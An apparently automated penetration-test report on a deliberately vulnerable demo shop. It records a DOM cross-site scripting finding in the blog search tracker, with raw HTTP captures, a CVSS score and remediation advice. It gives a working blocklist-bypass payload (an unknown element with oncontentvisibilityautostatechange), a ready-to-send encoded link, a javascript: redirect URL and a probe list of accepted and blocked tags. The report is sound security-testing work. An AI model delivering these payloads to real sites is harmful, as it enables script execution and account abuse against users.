    user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
    accept-language: en-US
    sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Linux"
    sec-fetch-site: none
    sec-fetch-mode: navigate
    sec-fetch-user: ?1
    sec-fetch-dest: document
    accept-encoding: gzip, deflate, br, zstd
    cookie: session=[REDACTED]
    cookie: session=[REDACTED]
    cookie: AWSALB=[REDACTED]
    cookie: AWSALBCORS=[REDACTED]
    priority: u=0, i
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:20:16 GMT
    content-type: text/html; charset=utf-8
    content-length: 2106
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:20:16 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:20:16 GMT; Path=/; SameSite=None; Secure
    x-backend: d042b2b2-666f-4720-94db-1a77a565c5b9
    x-frame-options: SAMEORIGIN
    content-encoding: gzip
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsBlog.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button selected" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="blog">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Blog</h1>
                        <script src='/resources/js/deparam.js'></script>
    <script src='/resources/js/searchLogger.js'></script>
                        <section class=search>
                            <form action=/blog/ method=GET>
                                <input type=text placeholder='Search the blog...' name=search value="zzzzq">
            <input type=hidden name=back value="/blog/">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <script>
                            function trackSearch(query) {
                                document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
                            }
                            var query = (new URLSearchParams(window.location.search)).get('search');
                            if(query) {
                                trackSearch(query);
                            }
                        </script>
                        <section class="blog-list no-results">
                            <div class="no-results">
                                <div class="no-results-icon"><svg><use href="/resources/images/goggles.svg#goggles"></use></svg></div>
                                <h2>Sorry! No result found</h2>
                                <div>But don't give up - check the spelling or try less specific search terms.</div>
                            </div>
                            <div class=is-linkback>
            <a href='#' onclick='event.preventDefault(); location = new URLSearchParams(location.search).get("back") || "/blog";'>Back to Blog</a>
                            </div>
                        </section>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button selected" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    

Observed effect

kind
browser-dialog
version
1
confirmationId
c1
actionId
1afccc00-d2a0-44df-8c8e-e3328be9b426
deliveringRequestId
ecac188c-eb25-46ba-91d1-402de42012ba
dialog
{"documentActionId":"d74e3e04-b0b7-47ba-8e24-8b0cbf03cd38","actionId":"1afccc00-d2a0-44df-8c8e-e3328be9b426","type":"alert","message":"av_bacd7bd07b41d502[21]","url":"https://ginandjuice.shop/blog?search=zzzzq&back=javascript:alert(%27av_bacd7bd07b41d502[%27%2B3*7%2B%27]%27)","at":1791796819385}

Derived severity metrics

  • PR=N: Victim browser delivers the payload; its session is not an attacker privilege.
  • UI=A: The nonce payload is in the bound dialog’s delivering request; victim navigation or a browser action is required.
  • AT=N: The delivering request carries no anti-forgery value issued to the tester's session, so an attacker can deliver it.

GET https://ginandjuice.shop/blog · Verified

MEDIUM

Stored-filter bypass in the blog search tracker (DOM XSS via stale event-handler blocklist)

Verified

Assessment details

The recorded test demonstrates the finding on this target.

Severity (CVSS)

5.1 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Assessed for this target

Exploit is remote and needs no privileges, but requires the victim to open a crafted blog-search link (UI:A). Impact on the vulnerable system is limited to the rendered document context of the shop origin (catalog navigations and cart form input), so VC/VI are L and availability is unaffected; no downstream system is demonstrably reachable from a single injected page, so SC/SI/SA stay N.

Explanation

The /blog page writes the untrusted search query parameter straight into the document through trackSearch():

function trackSearch(query) {
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) { trackSearch(query); }

The application does try to defend itself: a server-side filter rejects most tags (<img>, <svg>, <script>, <iframe>, <details>, … → HTTP 400 "Tag is not allowed") and most on* handler attributes (→ HTTP 400 "Attribute is not allowed"). That blocklist is stale/incomplete in two independent ways, both proven:

  • unknown element names are not on the tag blocklist — <x …> was accepted (200), while <image>, <xmp>, <template> and <plaintext> were rejected (400);
  • only the handler names the filter knows are rejected — <body onclick=x>, <body onfocus=x>, <body onpointerenter=x>, <body onanimationstart=x> were rejected, but the newer oncontentvisibilityautostatechange handler was accepted (200).

Combining the two gives an element whose handler fires automatically when the element becomes relevant to the user, so no user interaction beyond loading the page is needed: <x style="content-visibility:auto;contain-intrinsic-size:auto 300px" oncontentvisibilityautostatechange="…">. The response renders and the payload executes in the shop origin.

Prerequisites

Confirmed: the /blog route reflects search into document.write, and the filter accepts the unknown element name <x> together with the handler oncontentvisibilityautostatechange on both /blog (HTTP 200). Confirmed: the handler fires automatically in the harness browser without any interaction. Required: the victim loads the crafted URL — the payload is delivered by link/redirect/referrer, so victim interaction (opening the link) is needed. Unknown: whether this exact handler name fires in browsers other than the Chromium used for the proof. No authentication, no special headers and no cookie are needed.

Reproduction steps

Starting point: an unauthenticated request to the public blog page, no cookies or headers required.

Payload (URL-decoded) placed in the search parameter:

zzzzq"><x style="content-visibility:auto;contain-intrinsic-size:auto 300px" oncontentvisibilityautostatechange=alert('av_bacd7bd07b41d502['+3*7+']')>

Steps:

  1. Serve or send the victim this link (the query must stay encoded; + must be sent as %2B):
    https://ginandjuice.shop/blog?search=zzzzq%22%3E%3Cx%20style%3D%22content-visibility%3Aauto%3Bcontain-intrinsic-size%3Aauto%20300px%22%20oncontentvisibilityautostatechange%3Dalert('av_bacd7bd07b41d502['%2B3*7%2B']')%3E
  2. On load, trackSearch() writes <img src="/resources/images/tracker.gif?searchTerms="><x …> into the document; the injected element becomes visible, the state change fires and the handler runs.
  3. Expected result: a dialog reading av_bacd7bd07b41d502[21] (the marker is this work's nonce and the product 21 = 3*7 is computed in the page, never sent in the request).
  4. Controls: plain search=zzzzq returns 200 with no dialog; <body onclick=x> and <svg> in the same parameter are answered with HTTP 400 ("Attribute is not allowed" / "Tag is not allowed"), showing the two filter rules that this payload steps around.
  5. Cleanup: nothing is stored by the blog page — simply discard the crafted URL. No server-side data is created.

Evidence

The filter accepts the payload and the handler fires. Captured navigation and its dialog:

GET /blog?search=zzzzq%22%3E%3Cx%20style%3D%22content-visibility%3Aauto%3Bcontain-intrinsic-size%3Aauto%20300px%22%20oncontentvisibilityautostatechange%3Dalert('av_bacd7bd07b41d502['%2B3*7%2B']')%3E HTTP/1.1
Host: ginandjuice.shop
HTTP/1.1 200 OK
Content-Type: text/html

… <img src="/resources/images/tracker.gif?searchTerms="><x style="content-visibility:auto;contain-intrinsic-size:auto 300px" oncontentvisibilityautostatechange=alert('av_bacd7bd07b41d502['+3*7+']')>"> …
Sorry! No result found

The browser recorded the script dialog av_bacd7bd07b41d502[21] on that URL [c2] (r264). The raw response body contains the literal 3*7 expression, never the value 21.

Filter behaviour observed with the same search parameter (each an answered request): <body one=x> 200, <body data-x=x> 200, <body style=x> 200, <body onbeforetoggle=x> 200, <select2> 200, <math2> 200 — versus <body onclick=x> 400 (26 B), <body onfocus=x> 400, <body onpointerenter=x> 400, <body onanimationstart=x> 400, <image>/<xmp>/<noscript>/<template>/<plaintext> 400 (20 B). A previous accepted check on this same endpoint used the visible no-results link, not this filter bypass.

Recorded capture references

  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 141012b6-8607-45fd-a38d-5add9549a36d

Impact

Demonstrated: arbitrary script execution in the ginandjuice.shop origin from a single crafted link, with no interaction on the page itself. Because the page is same-origin with the shop, the script can read the page DOM, issue authenticated same-origin requests as the victim (the session cookie is SameSite=None, so no extra barrier), exfiltrate the contents of the account area and cart, add or alter cart items, apply coupons and submit other state-changing forms, and rewrite the page content for phishing. Potential: against an administrator the same payload could drive any action the admin's session permits. Not assessed: whether the injected handler name fires in every browser, and any impact outside this origin — no cross-origin consequence was demonstrated.

Remediation

Do not write untrusted input with document.write. Replace trackSearch() with DOM APIs that set the value as data — const i = document.createElement('img'); i.src = '/resources/images/tracker.gif?searchTerms=' + encodeURIComponent(query); document.body.appendChild(i); — or drop the client-side tracker and record the query server-side. Independently of the trust boundary, replace the tag/attribute blocklists with an allow-list: parse the input with a real HTML parser and reject any element or attribute not explicitly permitted (in particular any on* attribute at all, and any unknown/custom element name so that content-visibility-driven handlers cannot be smuggled in), and encode the value on output rather than filtering on input. When the PoC is rerun, the page must return 200 without ever emitting attacker HTML: the search term should appear only as encoded text or as an encoded query-string value, and no dialog should appear.

Evidence of record

  • Attack · r264 · 141012b6-8607-45fd-a38d-5add9549a36d
    Request
    GET https://ginandjuice.shop/blog?search=zzzzq%22%3E%3Cx%20style%3D%22content-visibility%3Aauto%3Bcontain-intrinsic-size%3Aauto%20300px%22%20oncontentvisibilityautostatechange%3Dalert(%27av_bacd7bd07b41d502[%27%2B3*7%2B%27]%27)%3E
    pragma: no-cache
    cache-control: no-cache
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    upgrade-insecure-requests: 1
    user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
    accept-language: en-US
    sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Linux"
    sec-fetch-site: none
    sec-fetch-mode: navigate
    sec-fetch-user: ?1
    sec-fetch-dest: document
    accept-encoding: gzip, deflate, br, zstd
    cookie: session=[REDACTED]
    cookie: session=[REDACTED]
    cookie: AWSALB=[REDACTED]
    cookie: AWSALBCORS=[REDACTED]
    priority: u=0, i
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:20:55 GMT
    content-type: text/html; charset=utf-8
    content-length: 2214
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:20:55 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:20:55 GMT; Path=/; SameSite=None; Secure
    x-backend: d042b2b2-666f-4720-94db-1a77a565c5b9
    x-frame-options: SAMEORIGIN
    content-encoding: gzip
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsBlog.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button selected" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="blog">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Blog</h1>
                        <script src='/resources/js/deparam.js'></script>
    <script src='/resources/js/searchLogger.js'></script>
                        <section class=search>
                            <form action=/blog/ method=GET>
                                <input type=text placeholder='Search the blog...' name=search value="zzzzq&quot;&gt;&lt;x style=&quot;content-visibility:auto;contain-intrinsic-size:auto 300px&quot; oncontentvisibilityautostatechange=alert(&apos;av_bacd7bd07b41d502[&apos;+3*7+&apos;]&apos;)&gt;">
            <input type=hidden name=back value="/blog/">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <script>
                            function trackSearch(query) {
                                document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
                            }
                            var query = (new URLSearchParams(window.location.search)).get('search');
                            if(query) {
                                trackSearch(query);
                            }
                        </script>
                        <section class="blog-list no-results">
                            <div class="no-results">
                                <div class="no-results-icon"><svg><use href="/resources/images/goggles.svg#goggles"></use></svg></div>
                                <h2>Sorry! No result found</h2>
                                <div>But don't give up - check the spelling or try less specific search terms.</div>
                            </div>
                            <div class=is-linkback>
            <a href='#' onclick='event.preventDefault(); location = new URLSearchParams(location.search).get("back") || "/blog";'>Back to Blog</a>
                            </div>
                        </section>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button selected" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    

Observed effect

kind
browser-dialog
version
1
confirmationId
c2
actionId
631d16aa-a973-425d-85f4-73a8ae41283a
deliveringRequestId
141012b6-8607-45fd-a38d-5add9549a36d
dialog
{"documentActionId":"631d16aa-a973-425d-85f4-73a8ae41283a","actionId":"631d16aa-a973-425d-85f4-73a8ae41283a","type":"alert","message":"av_bacd7bd07b41d502[21]","url":"https://ginandjuice.shop/blog?search=zzzzq%22%3E%3Cx%20style%3D%22content-visibility%3Aauto%3Bcontain-intrinsic-size%3Aauto%20300px%22%20oncontentvisibilityautostatechange%3Dalert(%27av_bacd7bd07b41d502[%27%2B3*7%2B%27]%27)%3E","at":1791796856698}

Derived severity metrics

  • PR=N: Victim browser delivers the payload; its session is not an attacker privilege.
  • UI=A: The nonce payload is in the bound dialog’s delivering request; victim navigation or a browser action is required.
  • AT=N: The delivering request carries no anti-forgery value issued to the tester's session, so an attacker can deliver it.
  • VC=N: The script runs in the victim's browser; its impact belongs on the subsequent system.
  • SC=L: The script runs in the victim's browser; its impact belongs on the subsequent system.
  • VI=N: The script runs in the victim's browser; its impact belongs on the subsequent system.
  • SI=L: The script runs in the victim's browser; its impact belongs on the subsequent system.

GET https://ginandjuice.shop/blog · Verified

What we investigated

QuestionStatusConclusion
Test POST /loginInvestigated
Test GET /catalogInvestigated
Test GET /catalog/productInvestigated
Test POST /catalog/cartInvestigated
Test POST /catalog/cart/couponInvestigated
Test POST /catalog/cart/checkoutInvestigated
Test POST /catalog/product/stockInvestigated
Test POST /catalog/subscribeInvestigated
Test GET /blog/postInvestigated
Test GET /my-accountInvestigated
Test GET /my-account/ordersInvestigated
Test GET /adminInvestigated
Test GET /order/detailsInvestigated

Changes this run made (0)

The run recorded no change to your account or its data.

Frozen scope

Target: ginandjuice.shop and its subdomains

Access: Public pages only

Can the agent change data? Yes — it may create, change and delete data.

Off-limits

Credits

This run used 5 credits.